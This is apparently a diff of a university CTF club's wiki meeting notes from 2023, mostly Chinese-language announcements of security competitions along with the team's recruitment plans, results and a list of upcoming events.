为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,提升学生攻防兼备的网络创新实践能力,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学生信息安全意识,提高学生的网络空间安全创新能力与实践技能,推动网络空间安全生态体系的人才培养和产学研用。由南开大学承办的第十五届全国大学生信息安全竞赛—创新实践能力赛(以下简称“大赛")将于2022年4月至2022年7月举行,面向全国高校在校生开放。

+

一、大赛组织形式

+

本届大赛按照在线注册报名组队、线上初赛选拔、分区赛和全国总决赛四个阶段组织。全国设置八大赛区,各区域内高校参赛团队通过分区赛晋级全国总决赛。

+

更多大赛内容和具体安排详见《第十五届全国大学生信息安全竞赛—创新实践能力赛竞赛规程》,开赛后将通过大赛官网(http://www.ciscn.cn/)公布。

+

二、参赛对象及要求

+

参赛对象应为全国高等学校(本科类和高职高专类院校)具有正规学籍的全日制在校大学生(包括高职高专、本科生、研究生),具体要求如下:

+

1)每个参赛队伍人数最多不超过4人,允许校内跨年级、跨专业组队,各高校参赛队数不限,不可跨校组队;

+

2)每人只能参加一支队伍(即个人参赛后不可再与他人组队参赛,或个人参加一个队伍后不可再参加另一个队伍),允许有一名指导老师;

+

3)高校分布在不同城市的校区视为不同高校,各校区可分别组队参赛并入围到所在分区的分区决赛,以及总决赛阶段;

+

4)指导教师必须是参赛队伍所在高校在职教师。指导教师可以指导学生进行组队、知识技能训练,但现场参赛必须由参赛学生独立完成;

+

6)指导教师负责全程管理、指导参赛的学生队伍,参赛过程不得违反比赛规则,不对比赛平台、系统和第三方服务进行攻击,不得与国家法律、法规、公序良俗相违背(如队名等);组委会将评选优秀指导教师(获得全国一等奖及创新单项奖团队的指导老师),并予以表彰。

+

第十五届全国大学生信息安全竞赛信息安全作品赛

+

赛事介绍:

+

为选拔、推荐优秀网络空间安全专业人才,培养学生的创新意识与团队合作精神,提高学生的网络安全技术水平、创新实践与综合设计能力,推动我国高校网络空间安全专业建设与改革,由湖南大学承办的“第十五届全国大学生信息安全竞赛—作品赛”(以下简称“信息安全作品赛”),将于2022年4月至2022年8月在湖南长沙举行。

+

一、本届竞赛活动内容

+

1. 信息安全作品赛

+

本次信息安全作品赛采用开放式自主命题,自主设计,参赛者须在截止日期前完成作品并网上提交。参赛作品的内容要求符合《全国大学生信息安全竞赛章程》和《2022年全国大学生信息安全竞赛—作品赛参赛指南》(开赛后将通过大赛官方网址http://www.ciscn.cn/公布)中的相关规定。

+

2. 网络安全人才创新创业发展论坛

+

安全论坛包含多个主题板块,围绕当前网安产业趋势与技术热点,探讨网络安全人才培养及大学生创新创业,开展丰富多彩的主题演讲与全方位互动。

+

二、参赛对象

+

参赛对象为全国具有正式学籍的全日制在校大学生。学生可自行组队参加,每支参赛队不超过4名学生(包括1名组长)。每支参赛队限指定1名指导教师,每名学生限参加1支参赛队。各高校参赛队数不限,不允许跨校组队。

+

信息安全作品赛决赛期间举行的网络安全人才创新创业发展论坛将面向全国高校师生、企事业单位与个人。

+

三、参赛方式

+

根据《全国大学生信息安全竞赛章程》和《2022年全国大学生信息安全竞赛—作品赛参赛指南》要求,具体事宜详见竞赛网站。

+

0x2. New Member Recruitment

+

The recruitment pattern for new members this semester is

+
    +
  1. +

    three-week online learning of basic content, with records, kept through Tencent meetings and video recording and used for future basic content review teaching.

    +
  2. +
  3. +

    a two-day assessment session in the format of Jeopardy, which will be conducted using the COMPASS tournament platform.

    +
  4. +
+

The number of new members recruited this semester is about 5.

+

The basics and tutorials are posted on our wiki page currently. More contents are under design.

+ +

0x3. Competition and Events

+

数字中国·数据安全产业解决方案创新赛(初赛)

+

本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。

+
比赛链接
+

官方比赛链接地址:https://www.dcic-china.com/competitions/10078

+
比赛时间
+

线上赛时间:2023-03-27 00:00:00 - 2023-04-07 00:00:00

+
赛事机构
+

本次比赛主办方:福建省通信管理局

+

指导单位:数字中国建设峰会组委会

+

承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心

+

协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司

+

支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司

+
比赛形式
+

创新赛采用公开式竞赛,围绕数据安全治理,参赛单位提交实践案例。赛事分预赛和决赛。预赛阶段专家组评委将采取远程登录或本地安装的方式运行参赛作品,依据赛事专家制定的比赛评审标准进行打分,根据得分排名确定决赛名单。决赛采用答辩的形式,由赛事专家组对预赛入围方案进行评审。

+

数字中国·数据安全产业人才能力挑战赛(初赛)

+

本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。

+
比赛链接
+

官方比赛链接地址:暂无

+
比赛时间
+

线上赛报名:2023-03-06 00:00:00 - 2023-03-22 00:00:00

+

线上赛时间:2023-04-01 00:00:00 - 2023-04-01 00:00:00

+
赛事机构
+

本次比赛主办方:福建省通信管理局

+

指导单位:数字中国建设峰会组委会

+

承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心

+

协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司

+

支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司

+
比赛形式
+

由理论知识和技能操作两部分组成。理论部分涵盖政策法规和数据安全基础知识;技能操作部分涵盖数据识别、权限控制、脆弱性分析等方向,综合考察参赛者不同维度的数据安全能力水平。

+

【安恒信息】亲爱的参赛选手,您好!您报名的“2023数字中国创新大赛-数字网络安全人才挑战赛”将于2023年3月24日进行,请您按时参加。 +比赛地址:https://szzg2023.dasctf.com +比赛账号:aq#报名的手机号后七位 +比赛密码:Das#手机号后四位,如:Das#1234 +比赛时间:下午13:00-17:00 +注意事项:推荐使用Chrome或火狐浏览器,并设置允许弹出窗口。

+

Wrap-up

+

Last week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 8 and 9 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-04-06/index.html b/Meeting/CTF Week Meeting 2023-04-06/index.html new file mode 100644 index 000000000..cf7c814cd --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-04-06/index.html @@ -0,0 +1,8252 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-04-06 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-04-06

+

Work progress tracking

+
    +
  1. Topic: CTF combined with research - 20%
  2. +
  3. Multi-platform promotion of COMPASS CTF - 20%
  4. +
  5. New Platform GZCTF - 55%
  6. +
  7. Wiki page content adjustment - 60%
  8. +
  9. CTFtime program: play CTF and share - 23%
  10. +
  11. New Member Recruitment - 50%
  12. +
  13. Ande Cup CTF game - 13%
  14. +
  15. Remedial content session - 63%
  16. +
  17. CTF from Practice to Principle - 3%
  18. +
  19. National College Student Information Security Contest - 20%
  20. +
  21. Wangding Cup Semi-Final Competition - 50%
  22. +
  23. Discussions with Other Universities about National College Student Information Software Competition - 5%
  24. +
+

What we discussed this week

+
    +
  1. Wangding Cup Arrangement.
  2. +
  3. Guangdong Province 2nd CTF Arrangement.
  4. +
  5. Skip the Training this week.
  6. +
  7. Upcoming Events.
  8. +
+

0x1. Wangding Cup Arrangement

+
+

【重要通知】2022第三届“网鼎杯”网络安全大赛半决赛、总决赛及颁奖典礼相关安排

+
+

各参赛选手及相关单位:

+

2022第三届“网鼎杯”网络安全大赛半决赛将于4月14日正式开幕,现将比赛期间日程安排及注意事项通知如下,请务必仔细阅读并严格遵守:

+

一、日程安排

+

(略)

+

二、酒店推荐

+

(略)

+

1.以上为大赛组委会推荐酒店,请参赛选手依据自身情况自行联系酒店进行预定,联系电话详见上述表格内容。

+

2.预定时,报“网鼎杯参赛选手”,可享受协议价格。

+

3.赛事活动期间入住需求量较大,酒店房源紧张,请各位参赛选手尽量在4月7日前完成住宿预订。

+

4.大赛期间,组委会将在推荐酒店附近安排接驳班车,接送选手往返赛场。

+

5.若各参赛选手需要开具发票,请自行与酒店协商。

+

注* 其中亲橙客栈只能提供“培训发票”,请各参赛选手留意。

+

三、注意事项

+

1.请各参赛选手做好个人防护和交通住宿安排,以保证参赛顺利。请各参赛选手提前准备好个人参赛工具(笔记本电脑、有线鼠标、有线键盘、U盘和网口转接器等),以及自己熟悉的参赛环境和常用软件、工具、脚本等。

+

2.请各位参赛选手提前准备好签到材料 ,

+

详细说明请参见网鼎杯官网(https://www.wangdingcup.com)或网鼎杯官方公众号(公众号名:网鼎杯,公众号ID:wangdingcup)发布的《2022年第三届“网鼎杯”网络安全大赛半决赛、总决赛及颁奖典礼安排通知》中附件一内容。

+

3.比赛当天所有参赛选手须携带身份证原件和参赛证前往比赛现场。

+

注* 迟到超半小时将被禁止入场。

+

4.每位参赛选手在比赛过程中仅允许使用一台笔记本电脑答题,禁止使用服务器等大功率设备。如需使用nuc类迷你主机,每队限制数量不超过1台。

+

5.如有其他问题,可拨打组委会工作电话:010-50873883。统一工作时间:工作日10:00至18:00。

+

第三届“网鼎杯”网络安全大赛组委会

+

2023年4月

+

0x2. Guangdong Province 2nd CTF Arrangement

+
+

关于做好第二届广东大学生网络安全攻防大赛总决赛食宿安排的通知

+
+

(见附件)

+

0x3. Skip the Training this week

+

The meeting started with a discussion about the upcoming mid-term exams, which many members of the group are preparing for. The group acknowledged that these exams are an important priority and require significant preparation time and effort. Several members expressed concern that they could not attend the training sessions over the weekend due to their exam preparation.

+

After some discussion, it was proposed that the group skip training for the upcoming weekend to allow members to focus on their exams. The group discussed the potential impact of missing one training weekend and weighed the decision's pros and cons. Ultimately, it was decided that the benefits of allowing members to fully focus on their exams outweighed the potential negative impact of missing one weekend of training.

+

The group agreed that skipping training for the upcoming weekend was the best decision to allow members to focus on their mid-term exams. The decision was made after a thorough discussion and weighing of the potential impact on the group's training goals. The group will continue to monitor the situation and make adjustments as necessary to ensure that they stay on track with their training.

+

Wrap-up

+

During the meeting, several topics were discussed, including the arrangements for the Wangding Cup and the second Guangdong Province CTF. It was decided that the group would focus on preparing for these events in the coming weeks.

+

Additionally, it was mentioned that there would be a skip in training for the upcoming weekend. This decision was made to allow members of the group to focus on their personal commitments and responsibilities.

+

Overall, the meeting was productive and focused on upcoming events and important scheduling decisions.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-04-20/index.html b/Meeting/CTF Week Meeting 2023-04-20/index.html new file mode 100644 index 000000000..9cc380f4f --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-04-20/index.html @@ -0,0 +1,8268 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-04-20 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+ +
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2023-04-20

+

I want to thank each and every one of you for taking the time to join us today. Your expertise and commitment to this critical area of our competition are essential to our success. I am confident that together we can address any challenges that come our way and ensure the ongoing security of our team.

+

Let's get started and make the most of this opportunity to share knowledge, ideas, and insights.

+

Work progress tracking

+
    +
  1. Topic: CTF combined with research - 20%
  2. +
  3. Multi-platform promotion of COMPASS CTF - 20%
  4. +
  5. New Platform GZCTF - 55%
  6. +
  7. Wiki page content adjustment - 60%
  8. +
  9. CTFtime program: play CTF and share - 28%
  10. +
  11. New Member Recruitment - 50%
  12. +
  13. Remedial content session - 72%
  14. +
  15. CTF from Practice to Principle - 15%
  16. +
  17. National College Student Information Security Contest - 30%
  18. +
  19. Wangding Cup Semi-Final Competition - 100%
  20. +
  21. Discussions with Other Universities about National College Student Information Software Competition - 15%
  22. +
+

What we discussed this week

+
    +
  1. Wangding Cup News.
  2. +
  3. Guangdong Province 2nd CTF News.
  4. +
  5. Upcoming Events.
  6. +
+

0x1. Wangding Cup News

+

Congratulations to the team for achieving an outstanding performance in the Wangding Cup cybersecurity competition! Our team's dedication and hard work have paid off, earning us the 21st place in the Green Dragon Group and the 51st place in the general scoreboard in the semi-final.

+

Making it to the semi-finals of such a prestigious competition is an incredible accomplishment, and I am proud of your achievements. Your teamwork, problem-solving skills, and technical expertise have all contributed to this success, and I hope that this experience has been a valuable learning opportunity for all of you.

+

As you move forward from this competition, it's important to remember that there is always room for improvement. While you have achieved great success, there are always areas where you can continue to grow and develop. Whether it's through refining your technical skills or strengthening your teamwork and communication, there are many ways to build upon your success and continue to achieve great things in the future.

+

I am excited to see where your team goes from here, and I wish you all the best in your future endeavors. Congratulations again on this impressive achievement!

+

0x2. Guangdong Province 2nd CTF News

+

Congratulations to the winning team of the Guangdong Province University Cybersecurity Competition! The competition was intense, with 502 teams from across the province competing for the top spot, but our team emerged victorious and took home the 1st place trophy.

+

The success is a testament to your dedication, hard work, and expertise in the field of cybersecurity. The team's ability to tackle complex challenges and overcome obstacles is truly impressive, and you have set an outstanding example for your peers in the industry.

+

I commend the team for your remarkable achievement and wish you continued success in all your future endeavors. Your win is not only a source of pride for your university but also for the entire province. Congratulations again on this amazing accomplishment!

+

0x3. Upcoming Events

+
+

QQ Group: 734535934

+
+

1 2023年第七届“御网杯”信息安全大赛 +2 第七届“强网杯”全国网络安全挑战赛 +3 2023春秋杯春季赛 +4 ISCC2023个人挑战赛 +5 阿里云CTF +6 【春秋云镜】内网极限挑战赛 +7 更多国外赛事关注CTFTIME +8 AntCTF X D^3CTF 2023预热赛 +9 2023DASCTF X SU四月春季挑战赛 +10 “天一永安杯”2023宁波市第六届网络安全大赛 +11 AntCTF X D^3CTF +12 安全精英选拔赛 +13 2023LitCTF&郑州轻工业大学首届新生赛 +14 2023年第七届金砖大赛——网络安全在企业信息管理中的应用 +15 2023第七届金砖大赛——其它比赛 +16 2023年第七届金砖大赛——企业信息系统安全 +17 第十四届蓝桥杯大赛数字科技创新赛—网络安全春秋挑战赛 +18 “盘古石杯”全国电子数据取证大赛 +19 HDCTF2023 海南大学第四届网络安全技能 挑战赛 +20 第四届“长城杯”信息安全铁人三项赛总决赛 +21 数字网络安全人才挑战赛决赛 +22 数据安全产业人才能力挑战赛决赛 +23 第三届红明谷杯网络安全大赛决赛 +24 第六届“强网杯”青少年专项赛决赛 +25 2022年中国工业互联网安全大赛全国总决赛 +26 第三届“祥云杯”网络安全大赛决赛 +27 ctfshow第三届愚人赛 +28 第三届红明谷杯网络安全大赛初赛 +29 2022年第三届“网鼎杯”网络安全大赛决赛 +30 第七届XCTF国际网络攻防联赛总决赛 +31 hxp CTF 2022 +32 2023广东海洋大学第零届信息安全竞赛 +33 PWNHUB内部赛 +34 PWNHUB公开赛 +35 NSSCTF Round#11 +36 picoCTF +37 2023年网络“攻&防”技能大赛暨网安人才评定工程 +38 2022西湖论剑·第六届杭州网络安全技能大赛决赛 +39 2023第六期HWS硬件安全在线冬令营 +40 网络安全平台测试赛

+

Wrap-up

+

Based on the discussions in the weekly meeting, it is clear that there are several exciting upcoming events in the near future, all of which offer outstanding prizes. As a result, it is important for all members of the team to stay informed and up-to-date on these events and to prepare accordingly if they plan to participate. Additionally, it may be beneficial for the team to consider other similar events or opportunities in order to continue honing their skills and staying competitive in the field. Overall, it is an exciting time for the team and the field as a whole, and everyone should be encouraged to participate and contribute in any way they can.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-04-27/index.html b/Meeting/CTF Week Meeting 2023-04-27/index.html new file mode 100644 index 000000000..15663e9a1 --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-04-27/index.html @@ -0,0 +1,8514 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-04-27 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-04-27

+

As we gather today for our meeting, I wanted to take a moment to encourage everyone to approach new ideas and challenges with a willingness to learn and improve. We all have room for growth, and by collaborating and sharing our knowledge and experiences, we can inspire one another and propel ourselves to new heights. Let us embrace this opportunity to explore and expand our abilities, and work together towards our common goals.

+

Work progress tracking

+
    +
  1. Topic: CTF combined with research - 20%
  2. +
  3. Multi-platform promotion of COMPASS CTF - 30%
  4. +
  5. New Platform GZCTF - 55%
  6. +
  7. Wiki page content adjustment - 80%
  8. +
  9. CTFtime program: play CTF and share - 32%
  10. +
  11. New Member Recruitment - 70%
  12. +
  13. Remedial content session - 100%
  14. +
  15. CTF from Practice to Principle - 15%
  16. +
  17. National College Student Information Security Contest - 30%
  18. +
  19. Discussions with Other Universities about National College Student Information Software Competition - 15%
  20. +
+

What we discussed this week

+
    +
  1. National Contest Topics.
  2. +
  3. Upcoming Events.
  4. +
+

0x1. National Contest Topics

+

五、报名须知

+
    +
  1. +

    信息安全作品赛的网上报名起止时间为:2023年4月7日至2023年6月12日24时。

    +
  2. +
  3. +

    各高校在收到本参赛通知后,在5月31日前,指定1位老师作为联络人(联络人须为高校领队),负责本校竞赛相关事宜,并在竞赛网站上下载“高校联络教师登记表”(见附件1),按要求填写该老师信息,通过电子邮件发送给组委会秘书处(含电子版和盖章纸质版的扫描件)。

    +
  4. +
  5. +

    组委会于6月19日完成信息安全作品赛资格审查,并公布信息安全作品赛参赛名单。于6月25日前,各高校联络人须汇总本校的“高校参赛队汇总表”(见附件2,在竞赛网站上下载),通过电子邮件发送给组委会秘书处(含电子版和盖章纸质版的扫描件)。参加本次信息安全作品赛的队伍需交纳参赛费用(每支参赛队200元)。

    +
  6. +
+

We have some topics, if you are interesting, please join us.

+
    +
  • AEG Automate Exploit Generation.
  • +
  • Risc-v State Crypto.
  • +
+

0x2. Upcoming Events

+

“盘古石杯”全国电子数据取证大赛——电子数据取证技能赛

+

一、 参赛规则

+

(一)报名形式

+

采用团队整体报名方式,在报名规定时间内按照报名要求进行报名,每个参赛团队固定队员三个人,可以报名职业组或者学生组。另每个参赛队可以写一名指导教师(学生组)或领队(职业组),每个指导教师(领队)可以带领多支队伍。不允许跨校跨单位组队。

+

(二)报名时间

+

2023年3月20-4月30日

+

(三)竞赛时间

+

晋级赛:2023年5月6日 5小时 线上

+

总决赛:2023年5月26日 6小时 线下

+

(四)报名要求

+

通过大赛官网进行报名,如实填写报名信息。

+

(五)报名条件

+

具有电子数据取证相关职业工作经历的企事业、公检法单位在职人员,从事相关专业工作的高等院校、职业院校(含技工院校,下同)在职人员,以及高等院校、职业院校相关专业全日制在籍学生均可报名参赛。

+

注:具有全日制学籍的在校学生不得以职工身份参赛。

+

二 、竞赛模式

+

本赛项为三人团体赛,分为职业组和学生组两个组别,两个组单独进行评比。

+

三 、竞赛细则

+

(一)竞赛知识范围

+

PC(win、osx)取证分析、Server(win、lin)取证分析、移动终端(dd、tar、备份)取证分析、流量分析(行为、文件分离)、物联网(路由器、无人机)取证分析、应用程序功能分析(动态、静态)、区块链取证分析、可视化分析等。

+

(二)竞赛题目类型

+

竞赛题目为实际操作题,类型有选择题、填空题。

+

(三)竞赛时长

+

晋级赛:时长5小时。

+

总决赛:时长6小时。

+

(四)命题方式

+

由大赛组委会组织专家组统一命题。

+

(五)考试方式

+

采用奇安信盘古石取证培训比武平台。

+

晋级赛:线上方式。

+

总决赛:线下方式。

+

(六)晋级规则

+

1.学生组晋级60支队伍、职业组晋级30支队伍。

+

2.各院校、单位晋级赛可以报名多支队伍,但不超过2支队伍晋级总决赛。

+

四 、评分细则

+

(一)成绩计算

+

竞赛为得分累加制,不同难度题目分值不同,分值相同以答题时间排名

+

(二)评分标准制定原则

+

本着“科学严谨、笃近举远”的原则制定评分标准,围绕技能大赛技术裁判组制定的考核标准,依据参赛选手完成的情况实施综合评定,全面评价参赛选手专业能力。

+

(三)评分方法

+

1.基本评定方法

+

裁判组在坚持“公平、公正、公开、科学、规范”的原则下,各负其责,按照制订的评分细则进行评分。

+

结果评分:比赛结束后,裁判组根据参赛选手提交的比赛结果进行成绩复核。

+

成绩汇总:实操比赛成绩经过加密裁判组解密后与选手理论成绩进行加权计算,确定最终比赛成绩,经总裁判长审核、仲裁组长复核后签字确认。

+

2.同分处理

+

总分相同时,以完成实操所用时间少的名次在前。

+

五 、竞赛平台

+

比武平台地址:待公布

+

六 、奖项设置

+

职业组:

+

一等奖:1-5名 (第1名20000元、第2-5名10000元),奖杯、获奖证书

+

二等奖:6-15名 获奖证书

+

三等奖:16-30名 获奖证书

+

学生组:

+

一等奖:1-5名 (第1名20000元、第2-5名10000元),奖杯、获奖证书

+

二等奖:6-15名 获奖证书

+

三等奖:16-30名 获奖证书

+

优秀奖:31-60名 获奖证书

+

除此之外,将评选优秀指导教师(领队)共10名:5000元奖金、奖杯、获奖证书

+

优秀指导教师(领队)评选规则采用积分制度,所带队伍获得三等奖计1分、二等奖计2分、一等奖计3分、特等奖计4分。总分数前10名的指导教师及领队获得该奖项。

+

七、 联络信息

+

1、联系人:奇安信95015

+

2、官方公众号:

+

img

+

3、官方QQ群:

+

首届盘古石杯取证赛交流①群:731605363(已满)

+

首届盘古石杯取证赛交流②群:748211652(推荐)

+

首届盘古石杯取证赛交流③群:748676470(推荐)

+

首届盘古石杯取证赛交流④群:753358988(推荐)

+

备注:后续再开群将另行通知。

+

八 、其他

+

本参赛介绍的最终解释权归竞赛组委会。

+

“盘古石杯”全国电子数据取证大赛 — 数字取证作品赛

+

为了培养、选拔、推荐数字取证领域科研与工程能力兼备的一流人才,提高参赛人员的创新意识、团队合作精神、取证技术研发水平以及创新实践与综合设计能力,推动数据取证前沿研究与应用技术蓬勃发展。“盘古石杯”全国电子数据取证大赛拟面向学术界、产业界以及政企部门,开设数字取证作品赛赛道,为相关从业人员提供竞技和展示的平台。

+

本指南为参赛人员和指导教师如何参与本次大赛作品赛提供具体指导。

+

一、参赛及报名

+
    +
  1. +

    报名截止日期之前的在校研究生、本科生、专科生、企业成员均可报名参赛,评选不分类别、统一评比。鼓励作品以实际应用为导向,开展前沿研究。

    +
  2. +
  3. +

    本赛项采用组队方式参赛,每支参赛队成员不超过4名(包括1名组长)、指导教师不超过2名、参赛单位不超过2个。

    +
  4. +
+

​ 注:鼓励跨单位、校企联合组队申报,参赛成员最多来自于2家单位。

+
    +
  1. +

    注册:各参赛队伍成员可以通过竞赛网站进行注册(详细参赛步骤见网站)

    +
  2. +
  3. +

    报名截止时间:2023.4.30

    +
  4. +
+

参赛作品上传时间:2023.5.1—2023.5.5

+

决赛名单公布日期:2023.5.15

+

决赛时间:2023.5.26

+

二、赛制设置

+

本作品赛赛道采用开放式自主命题方式。竞赛分为初赛和决赛,初赛线上提交作品,由组委会组织专家线上评审,决赛采用现场答辩的形式,将于5.26-28日在南京线下举行。

+
    +
  1. 初赛
  2. +
+

凡成功报名的参赛队均自动进入初赛,报名截止时间为2023年4月30日,初赛作品提交时间截止为2023年5月5日,各参赛队应在此时间之前完成作品并网上提交,由专家进行评审。

+
    +
  1. 决赛
  2. +
+

(1)获得决赛资格后,各参赛队可继续对参赛作品进行完善和修改,但修改不能超过作品总内容的30%,核心思想、主要功能需保持不变。

+

(2)获得决赛资格的参赛队伍应在规定时间内参加决赛作品演示及答辩。

+

(3)决赛作品演示及答辩。作品PPT介绍(8分钟)、作品演示与专家提问(12分钟)。

+

(4)各参赛队应自行携带作品及相关文档,到决赛地点进行演示、答辩。

+
    +
  1. 评审
  2. +
+

初赛评审:组委会组织专家对作品进行线上评审,评审采用双盲匿名方式,每一件作品将至少由3位专家进行评审。专家评审的主要内容包括:作品的原创性与创新性、作品完成程度、作品的性能、作品的应用价值、相关文档的规范性等。依据网络评审结果,排名前50的参赛队伍进入决赛。

+

决赛评审:组委会组织评审专家对每个竞赛作品进行现场评审。评审实行分项打分,集体讨论,最终确定参赛作品的获奖等级。专家评审的主要内容包括:作品的原创性与创新性、作品的性能及应用价值、答辩效果、演示效果等。

+

三、作品要求

+
    +
  1. +

    参赛作品要体现一定的创新性和实用性。

    +
  2. +
  3. +

    参赛作品可以是软件、硬件等。参赛作品的内容以数字取证技术与应用设计为主,范围包括但不限于:系统取证、网络安全取证、内容取证、物联网及设备取证、新型电子数据取证等新技术及新领域取证。

    +
  4. +
+

作品可选方向:数字水印、内存取证、设备取证、硬件取证、物联网取证、操作系统取证、云取证、音频取证、视频取证、图像取证、文本取证、反取证、数据复制、加密及解密、隐藏及检测、数据复原、数据截取、数据欺骗、数字签名及时间戳、数据扫描、追踪及溯源、AI取证、区块链取证、场景取证、恶意软件检测、AI模型水印、深度伪造取证、其他。

+
    +
  1. +

    所有参赛题目须得到组委会认可后方可参赛。如果参赛队伍所报题目及内容涉及违反赛事精神和章程,组委会有权要求参赛队伍进行修改。本赛事不接受任何与国家有关法律、法规相违背的题目。

    +
  2. +
  3. +

    参赛作品应该是参赛队独立设计、开发完成的原创性作品,严禁抄袭、剽窃、一稿多投等行为。凡发现此类行为,将取消参赛队伍的参赛资格,并保留追究相关指导教师及单位责任的权利。

    +
  4. +
  5. +

    凡已公开发布并已获得商业价值的产品不得参赛;凡有知识产权纠纷的作品不得参赛;与企业合作即将对外发布的产品不得参赛。

    +
  6. +
  7. +

    作品相关文档至少包括如下内容:

    +
  8. +
+

(1)作品设计报告:功能、指标、实现原理、硬件框图、软件流程、系统演示截图等;

+

下载作品设计报告模板 提取码: i87b

+

(2)演示视频(mp3等):不超过5分钟的演示视频(配相关讲解语音等);

+

(3)其他文档:以及除上述规定文档以外的其他作品相关资料等;

+

四、成绩计算

+
    +
  1. 初赛评分方式
  2. +
+

组委会将组织评审专家团对入围初赛作品进行评审,将根据参赛作品的原创性、创新性、功能性、实用性、作品完整性等多个方面进行打分评审。初赛将采用100分制,得分在前50%的作品将入围决赛。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
序号类别评审标准分值
1作品选题及文档规范性建议从作品选题及意义、文档结构、语言表达及逻辑结构、作品特色呈现、测试及对比效果等方面进行评审15
2作品的功能效果建议从作品的需求分析、功能实现、系统完整性等方面进行评审30
3作品的技术实现建议从作品实现流程及框架合理性、方案可行性等方面进行评审30
4作品的创新性和实用性建议从功能完成度、市场应用前景、核心技术的性能指标、竞品分析等方面进行评审25
总 分100
+
    +
  1. 决赛评分方式
  2. +
+

进入决赛的作品将需要进行现场答辩和产品演示。评审专家将依据作品的原创性与创新性、作品完成程度、作品的性能、作品的应用价值、相关文档的规范性、产品演示、答辩评分等方面进行综合评判得出。

+

五、奖项说明

+

1、本届竞赛设一等奖、二等奖和三等奖。

+

一等奖:1-5名(第1名20000元、第2-5名10000元),奖杯、获奖证书等奖励;

+

二等奖:6-15名,获奖证书;

+

三等奖:16-30名,获奖证书;

+

2、优秀指导老师10名:5000元奖金、奖杯、获奖证书

+

六、指导教师

+

1、高校指导教师可以指导学生选题和设计方案的论证,但具体的硬件制作、软件编程、系统调试、作品文档撰写必须由参赛学生独立完成。

+

2、指导教师负责把握参赛作品的原创性,并确保其不与国家法律、法规相违背。

+

3、组委会将评选优秀指导教师,并予以表彰。

+

七、联络信息

+
    +
  1. +

    秘书处联系电话:025-58235309;邮箱:df@nuist.edu.cn

    +
  2. +
  3. +

    联系人:

    +
  4. +
+

(1)报名咨询:张翔,13133758775

+

(2)技术支持:奇安信95015

+

(3)专家组支持:王金伟,13851994653;熊礼治,18761698573

+
    +
  1. +

    秘书处通信地址:江苏省南京市宁六路219号数字取证教育部工程研究中心,210044

    +
  2. +
  3. +

    官方公众号:

    +
  4. +
+

img

+
    +
  1. 首届盘古石杯取证赛官方QQ群:549687349
  2. +
+

备注:后续再开群将另行通知。

+

八、其它

+

本参赛介绍的最终解释权归竞赛组委会。

+

D^3 CTF 2023

+

img

+

报名

+
    +
  • 预热任务
  • +
+

蚂蚁集团安全响应中心 预热任务AntCTFXD^3CTF

+

任务时间:2023 年 4 月 8 日 00:00 - 2023 年 4 月 23 日 23:59

+
    +
  • 线上赛
  • +
+

请在开赛之前前往【比赛平台】注册账号,每支队伍共用一个账号。赛题范围:Web、Pwnable、Reverse、Crypto、Misc、RealWorld。

+

开放注册时间:2023 年 4 月 13 日 09:00 - 2023 年 4 月 28 日 20:00

+

比赛时间

+

2023 年 4 月 28 日 20:00 - 2023 年 4 月 30 日 20:00

+

赛制说明

+

